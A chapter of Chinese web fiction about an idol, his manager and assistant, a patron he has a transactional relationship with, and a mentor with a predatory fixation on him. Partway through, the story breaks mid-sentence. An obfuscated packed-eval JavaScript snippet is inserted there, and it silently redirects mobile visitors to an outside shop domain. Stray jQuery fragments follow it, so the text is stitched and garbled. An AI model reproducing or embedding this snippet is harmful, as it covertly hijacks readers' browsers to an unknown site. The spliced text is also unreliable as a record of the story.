助理准备的柠檬水入口微涩，添了几块冰装在保温杯中，用薄荷叶子作装饰，配了根吸管。堪称为苏服务到极致。
搅弄冰块的声响偶尔使苏的神经微微紧绷，助理以为他面色不虞是天气太热的缘故，和工作人员商量室内的温度再调低一点。苏不喜欢夏天，绝大多数人也不喜欢夏天，层次不同的人对待流汗这件事的态度也有所不同。
当苏是练习生时，他的每一滴汗水都被粉丝视作为了梦想努力的勤勉。海报上流汗的他在人设的光环下惹人心疼，引发粉丝为他打call等一系列的氪金行为。
苏偶尔会觉得偶像光环背后的自己是一名欺诈师，假面迟迟未从他的身上剥落，却并不意味着以后也会如此。
他的鼻尖微微冒汗，助理低头凑得很近，为他整理妆容。
他看出苏的不愉，是因为这燥热的天还是因为某些连助理身份也无从插手的事情——这都不得而知。苏也不是会向他人敞开心扉的人，他从来都是一个沉默的，使人仰望并追逐的对象。
助理用勺子从保温杯的柠檬水中盛了块冰，示意苏含在嘴中消退身上的燥热。他做事如此熨帖，连苏的经纪人都为之侧目。
经纪人今日跟着苏的行程走，他处理完手头一些事后就匆忙赶到现场。来的路上他大致看了助理发来的消息，将那名忽然出现的狗仔亦或记者标注为可疑人物，让公司同安保那边打声招呼，限制无关人员进出。
料理完这些琐事，他才有空当同苏说上一两句话，聊聊之后的行程安排。
苏不冷不热的回了两句，不再搭理。
经纪人纳罕他今天是怎么了，凭借他对苏的了解，再生气的事过不了多久就翻篇了——苏总是如此，没有多余的心力分给外人，极少人能翻涌起他心底的波澜。很多时候，他望着你的眼神不过也是一种无形的漠视。
因此，苏在圈子里的人缘也不是很好，在他看来同其他人维系一段亲密关系是一件耗费自我的事情。经纪人睁一只眼闭一只眼，由得这个人去。
苏有这样的皮相，倘若再好说话接近一点，对他来说不是好事。
见苏没有什么搭理的兴致，经纪人也不恼，微微一笑转而提起了廖先生。苏眼皮微掀朝他看去，这个名字在短时间内成为束缚苏的一道枷锁，稍稍拨动便会引起他的关注。
廖先生的名字萦绕在苏的心头，与之产生关联的是670这个数字。他们的交际以这个房间号为关键，苏知道自己本该厌恶这点。
今后无论他同廖先生的关系会走向什么发展，大脑潜意识都会铭记这三个数字附加的含义。以阿拉伯数字作为延伸的房间号使人联想到心照不宣的利益交换，点燃香薰的房间，一张柔软的散发着陌生洗涤气味的大床，还有浴室传来雨点般淅淅沥沥的声响……以及廖先生本人。
他本该情绪颇为激愤地对待着一点，除非是大脑记忆刻意遗忘，否则利益交换之后的后遗症会持续很长一段时间。然而稍微想一想，苏连愤慨的心力都没有了。冰块缓慢融化在他的唇齿间，他不动声色地吞咽掉它，睨视着经纪人的眼神带着稍许轻慢，他咬着吸管品尝助理准备的柠檬水。
可惜柠檬水没有附带降火的功效。
经纪人见此情形神色不变，吩咐助理把这一幕拍下来，同其他幕后的花絮照片一块凑个九宫格，整理好上传到苏的社交平台。
他道：“刚好你的账号也很久没有活跃了。至于标题么……”
助理察觉到他二人看似和谐的表面下实则暗自较劲，虽然不明白这场风波是从什么时候开始的，但他对经纪人拿捏苏的手段还是略知道些。他正想要从中委婉劝和，还未开口又听经纪人话锋一转，“账号上还是先不发了，让廖先生过目再说。”
乍一听挺离谱的要求，细想之下就能懂得：这是给苏提供和金主调情play的思路。
经纪人奇怪今日苏是怎么回事，格外的看自己不顺眼。话一出口对方眼里少见的有了冷意，所幸工作人员提醒他们准备就绪要开拍了，中断了这僵持的氛围。
昔日导师也在拍摄现场，毕竟是他一手推荐的人。他和总监在一旁谈笑风生，足以见林导师在圈内还是颇有手腕的。要是换个谁来早就迫不及待想要搭上这条线了，唯独苏pass起人来毫不手软。
经纪人也加入了他们热闹的聊天现场，社交是他们从事这个行业必须点亮的技能。从前苏不觉得有什么，现在看他们一个赛一个碍眼。尤其是林导师不时抽空朝他望两眼，脸上的笑容刺眼。
屏蔽。统统屏蔽。
人在做自己不情愿的事情时，通常会通过回想来为自己建设一个暂时性的安全氛围。苏的思绪飘在自己的那幢小小的公寓，客厅与酒，还有散发着熟悉洗涤剂香味的床铺，助理这周还会来为他清扫打理，也许该考虑给对方加工资了。
摄像示意他动作需要作出些许的调整，相关负责的工作人员上前帮忙……周围这时忽然静了，苏的眼神在看向镜头，他不知道有更多的人在望向镜头以外的他。
苏隐隐感到燥热，与室内的温度无关，是他的内心在躁动不安。他开始眷恋一刻钟前含在嘴里的那块冰，凉凉的沁透心肺。他想起了助理为他准备的柠檬水与经纪人的微笑，这两者在脑海中交错，夏天和廖先生一同到来，不分先后。
他忽然产生一个滑稽的念想：廖先生这样一个体面人，又是怎样看待流汗的？
助理在一旁等待着他，包括其他人也是。他们都在等待着工作迎来尾声，客气的完成这次的合作。苏是一个好说话且配合的对象，这令在场的某些工作人员松了口气，想想苏从出道以来就没有耍大牌的风评，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13145521|138478||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
也是挺让人放心的。
经纪人也有对杂志上个合作对象的事迹有过耳闻，在对比中他注意到了一点：苏从未因自己的成名膨胀，也没因自己的没落焦灼。
他好像一直如此，从未变过。
经纪人开始反思自己今天为什么要惹苏生气，明明对方一直以来都算得上令他省心的。为了表示歉意，他决定延长苏和廖先生的假期。
林元泽往苏那边的方向凝望，他站的位置处于苏可以一眼望见的地方。可惜在视线交错间，他始终没得到苏瞥来一眼。
总监在他身旁轻声道：“他很不错，对吗？你看他的眼神还是和从前一样。”
林导师微微一笑，没有否认。
苏站在人群中，身旁的其余人都会自动沦为背景板或者陪衬，要么就是以他为中心簇拥着他试图追逐他的人。从他出现在舞台的那一刻，他就抓住了所有人的注目，聚光灯只落在他一个人的身上，全场的焦点也是他。
这令人爱而不得的家伙惹来了多少人的觊觎，因为始终抓不住他从而想方设法打压这个人——只为了苏能够向自己屈服，短暂地停留在自己的身侧。
这么做的人不乏林导师一个，在三年前他中断了苏和这家品牌杂志的合作，冷眼看苏一点点没落。推手不能说是他，而是苏自己。
现在苏站在灯光下，面前的摄影如实记录这个人身上的变化，林导师的思绪却飘向很久以前第一次见到苏的景象。
那时的苏初次登场，站在选秀节目的舞台上，他一出场就俘获了所有人的目光。接下来他开始表演自己的才艺，同其他专业的舞者比起来简直是惨不忍睹，但经纪人依然坚持要苏走这条道路，不得不说他赌对了。
舞台上的苏，他摆动的肢体与青涩的舞步，看得人心底为之颤栗。有的人生来便有这样的能力，叫你一眼注目到他的同时也能感知到他所表达的情绪，这与生俱来的天赋是其他人模仿也拥有不来的。
林导师看见了富有生命的奇迹在他面前从绽放到沉寂，苏，宛如垂死的天鹅焕发最后的热情，走向死亡安然落幕。
经纪人一早就窥见他身上萦绕的悲剧色彩，配合舞台加以发扬，在肢体语言与强烈情感的表达下令人忽略了这名练习生唱跳方面的弱项。而作为苏的导师，他窥见了更多的东西。
节目后期剪辑掉了那一幕，但当时身旁的人惊诧地问林导师怎么了，他为何忽然流泪。
林导师望着舞台上垂死的天鹅，说道：“多么勤勉的孩子。”
他说话的样子令人为之悚然。那不是出于惋惜与怜爱的神情，像是猎手陶醉的望着他的猎物，在极度痴迷下迸发出热烈的情感，眼泪是猎人在这阵被强烈吸引下汹涌而出的自我陶醉，怀着扭曲向舞台上的人奔去。
天鹅不能垂死。他要死于猎人之手。